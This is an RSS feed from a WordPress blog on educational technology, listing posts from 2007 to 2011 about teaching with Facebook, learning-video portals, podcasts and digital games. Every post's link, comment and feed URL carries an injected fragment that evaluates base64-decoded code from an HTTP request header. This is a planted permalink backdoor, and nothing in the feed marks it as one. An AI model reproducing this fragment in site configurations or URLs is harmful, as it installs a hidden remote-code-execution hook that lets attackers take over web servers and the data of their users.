<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Didactalab</title>
	<atom:link href="http://www.didactalab.de/wp-main/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.didactalab.de/wp-main</link>
	<description>Experiments in didactical design, educational technology and empirical research</description>
	<lastBuildDate>Fri, 03 Jun 2011 08:06:23 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.3</generator>
		<item>
		<title>This blog has a new home…</title>
		<link>http://www.didactalab.de/wp-main/2011/06/03/this-blog-has-a-new-home%e2%80%a6/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/wp-main/2011/06/03/this-blog-has-a-new-home%e2%80%a6/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 03 Jun 2011 08:06:23 +0000</pubDate>
		<dc:creator>kadewe</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/wp-main/?p=83</guid>
		<description><![CDATA[…please head over to http://blogs.uni-bremen.de/wolf/. Thanks for visiting!]]></description>
		<wfw:commentRss>http://www.didactalab.de/wp-main/2011/06/03/this-blog-has-a-new-home%e2%80%a6/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The final verdict: 3 months of teaching with Facebook</title>
		<link>http://www.didactalab.de/wp-main/2008/02/14/the-final-verdict-3-months-of-teaching-with-facebook/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/wp-main/2008/02/14/the-final-verdict-3-months-of-teaching-with-facebook/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 14 Feb 2008 16:58:28 +0000</pubDate>
		<dc:creator>kadewe</dc:creator>
				<category><![CDATA[elearning]]></category>
		<category><![CDATA[english]]></category>
		<category><![CDATA[courses]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[teaching]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/wp-main/?p=80</guid>
		<description><![CDATA[This is my final blogging post in my Mini-Series &#8220;Teaching with Facebook&#8221;. The story so far: I was totally hyped after viewing the Facebook F8-Developer keynote, when Mark Zuckerberg demoed FaceBook as the new social media platform (it seems, that Mark has learned to create his own Reality Distortion Field) First I researched what I [...]]]></description>
		<wfw:commentRss>http://www.didactalab.de/wp-main/2008/02/14/the-final-verdict-3-months-of-teaching-with-facebook/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>YouLearning &#8211; Portale für Lernvideos (Teil 2)</title>
		<link>http://www.didactalab.de/wp-main/2008/02/14/youlearning-portale-fur-lernvideos-teil-2/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/wp-main/2008/02/14/youlearning-portale-fur-lernvideos-teil-2/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 14 Feb 2008 00:26:48 +0000</pubDate>
		<dc:creator>kadewe</dc:creator>
				<category><![CDATA[authoring]]></category>
		<category><![CDATA[deutsch]]></category>
		<category><![CDATA[multimedia]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/wp-main/?p=76</guid>
		<description><![CDATA[Dies ist der zweite Teil einer Übersicht über verschiedene Dienste, um Lernvideos online bereitzustellen: Videotomie Laut eigenen Angaben &#8220;Deutschland größtes Video-Lernportal&#8221; beschreibt sich Videotomie wie folgt: Auf unserem Lernportal kannst du ganz gezielt nach Inhalten suchen, dich detailliert informieren und effektiv mit unseren Videos lernen: vom leckeren Kochen über die besten Kampfkünste bis hin zum [...]]]></description>
		<wfw:commentRss>http://www.didactalab.de/wp-main/2008/02/14/youlearning-portale-fur-lernvideos-teil-2/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>YouLearn: Videoportale zum  Lernen</title>
		<link>http://www.didactalab.de/wp-main/2008/01/17/youlearn-videoportale-zum-lernen/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/wp-main/2008/01/17/youlearn-videoportale-zum-lernen/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 17 Jan 2008 12:08:31 +0000</pubDate>
		<dc:creator>kadewe</dc:creator>
				<category><![CDATA[deutsch]]></category>
		<category><![CDATA[elearning]]></category>
		<category><![CDATA[lehre]]></category>
		<category><![CDATA[multimedia]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/wp-main/?p=72</guid>
		<description><![CDATA[Dieses Semester führe ich eine Veranstaltung &#8220;Video als Lernmedium: Potenziale und Beschränkungen aus lerntheoretischer Sicht&#8221; hier an der Universität Bremen durch. Im Rahmen dieser Veranstaltung konzipieren und produzieren die Kommilitoninnen und Kommilitonen Lehrvideos zu Themen nach eigener Wahl. Diese werden Anfang Februar hier vorgestellt werden. Nun stellt sich aber die Frage, wo diese denn nun [...]]]></description>
		<wfw:commentRss>http://www.didactalab.de/wp-main/2008/01/17/youlearn-videoportale-zum-lernen/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Working with FaceBook in a conversational course</title>
		<link>http://www.didactalab.de/wp-main/2008/01/17/working-with-facebook-in-a-conversational-course/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/wp-main/2008/01/17/working-with-facebook-in-a-conversational-course/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 17 Jan 2008 08:20:46 +0000</pubDate>
		<dc:creator>kadewe</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/wp-main/?p=71</guid>
		<description><![CDATA[This term I am doing a &#8220;conversational&#8221; course with a group of students, mashing a post-structuralist and an ecological discourse style. As you can read in the previous posts, my students agreed to use FaceBook (which is not as popular here in Germany as in the US, here every student is member of studiVZ). We [...]]]></description>
		<wfw:commentRss>http://www.didactalab.de/wp-main/2008/01/17/working-with-facebook-in-a-conversational-course/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Stabilizing our course on FaceBook</title>
		<link>http://www.didactalab.de/wp-main/2008/01/17/stabilizing-our-course-on-facebook/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/wp-main/2008/01/17/stabilizing-our-course-on-facebook/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 17 Jan 2008 08:20:34 +0000</pubDate>
		<dc:creator>kadewe</dc:creator>
				<category><![CDATA[elearning]]></category>
		<category><![CDATA[english]]></category>
		<category><![CDATA[teaching]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/wp-main/?p=70</guid>
		<description><![CDATA[Now that we have settled on using a humble FaceBook group (Open Content for Open Education), we are doing our course work using the boring &#8220;Posted Items&#8221; and &#8220;Discussion Board&#8221;. So far this is rather non-innovative and could be done with any other tool, so we don&#8217;t have any advantage by using FaceBook (see the [...]]]></description>
		<wfw:commentRss>http://www.didactalab.de/wp-main/2008/01/17/stabilizing-our-course-on-facebook/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>My first week with without my students on FaceBook</title>
		<link>http://www.didactalab.de/wp-main/2007/11/21/my-first-week-with-without-my-students-on-facebook/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/wp-main/2007/11/21/my-first-week-with-without-my-students-on-facebook/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 21 Nov 2007 15:59:51 +0000</pubDate>
		<dc:creator>kadewe</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/wp-main/?p=69</guid>
		<description><![CDATA[What a ride! I asked my (German) students, if they were adventurous enough to leave their beloved StudiVZ system, a German FaceBook clone, to try out supporting a brick-and-mortar seminar &#8220;Open Content for Education&#8221; with FaceBook. Much to my surprise, they were accepting the challenge with no long discussion. I already had set up a [...]]]></description>
		<wfw:commentRss>http://www.didactalab.de/wp-main/2007/11/21/my-first-week-with-without-my-students-on-facebook/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FaceBook as an E-learning tool: How to support classroom teaching with FaceBook?</title>
		<link>http://www.didactalab.de/wp-main/2007/10/09/facebook-as-an-e-learning-tool-how-to-support-classroom-teaching-with-facebook/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/wp-main/2007/10/09/facebook-as-an-e-learning-tool-how-to-support-classroom-teaching-with-facebook/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 09 Oct 2007 10:49:36 +0000</pubDate>
		<dc:creator>kadewe</dc:creator>
				<category><![CDATA[authoring]]></category>
		<category><![CDATA[elearning]]></category>
		<category><![CDATA[english]]></category>
		<category><![CDATA[international]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/wp-main/?p=66</guid>
		<description><![CDATA[I am just sampling some apps in FaceBook to see, if they could be used to support classes as a CSCW tool or a mini Learning Environment. Here are my observations so far: Notes (a FaceBook app) Description: This is an obvious app because it is a Facebook app. You can post and tag notes, [...]]]></description>
		<wfw:commentRss>http://www.didactalab.de/wp-main/2007/10/09/facebook-as-an-e-learning-tool-how-to-support-classroom-teaching-with-facebook/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Ideen für die  Nutzung von &#8220;Educational Podcasts&#8221;</title>
		<link>http://www.didactalab.de/wp-main/2007/08/07/ideen-fur-die-nutzung-von-educational-podcasts/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/wp-main/2007/08/07/ideen-fur-die-nutzung-von-educational-podcasts/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 07 Aug 2007 18:28:03 +0000</pubDate>
		<dc:creator>kadewe</dc:creator>
				<category><![CDATA[casting somethings]]></category>
		<category><![CDATA[deutsch]]></category>
		<category><![CDATA[elearning]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/wp-main/?p=60</guid>
		<description><![CDATA[Nachdem die iTunes University wohl der 500-Pfund-Gorilla der Educational Podcast Szene wird, fragt man/frau sich als potentieller Podcaster/in: Was kann mann denn mit so einem Podcast nun alles im Bildungskontext machen. Die E-Learning-Queen (ihr eigener Titel!) Susan Smith Nash hat eine gute Liste zusammengestellt, die ich hier mal kurz zusammenfasse: Aufnahme einer Vorlesung / eines [...]]]></description>
		<wfw:commentRss>http://www.didactalab.de/wp-main/2007/08/07/ideen-fur-die-nutzung-von-educational-podcasts/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Der ungebremste Siegeszug digitaler Spiele</title>
		<link>http://www.didactalab.de/wp-main/2007/08/01/der-ungebremste-siegeszug-digitaler-spiele/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/wp-main/2007/08/01/der-ungebremste-siegeszug-digitaler-spiele/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 01 Aug 2007 15:01:14 +0000</pubDate>
		<dc:creator>kadewe</dc:creator>
				<category><![CDATA[deutsch]]></category>
		<category><![CDATA[medienpädagogik]]></category>
		<category><![CDATA[videospiele]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/wp-main/?p=56</guid>
		<description><![CDATA[Einen dpa-Pressetext bringt heise online in Rohform: Siegeszug digitaler Spiele ungebremst Nun fragt man sich erstmal: Siegeszug wogegen? Gegen &#8220;traditionelle Brettspiele&#8221;: World of Warcraft statt Halma und &#8220;Mensch ärgere Dich nicht&#8221; – die Spielewelt wird in rasantem Tempo digital. Während der Umsatz mit traditionellen Brettspielen in den vergangenen Jahren kaum zulegte, sorgten digitale Spiele für [...]]]></description>
		<wfw:commentRss>http://www.didactalab.de/wp-main/2007/08/01/der-ungebremste-siegeszug-digitaler-spiele/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

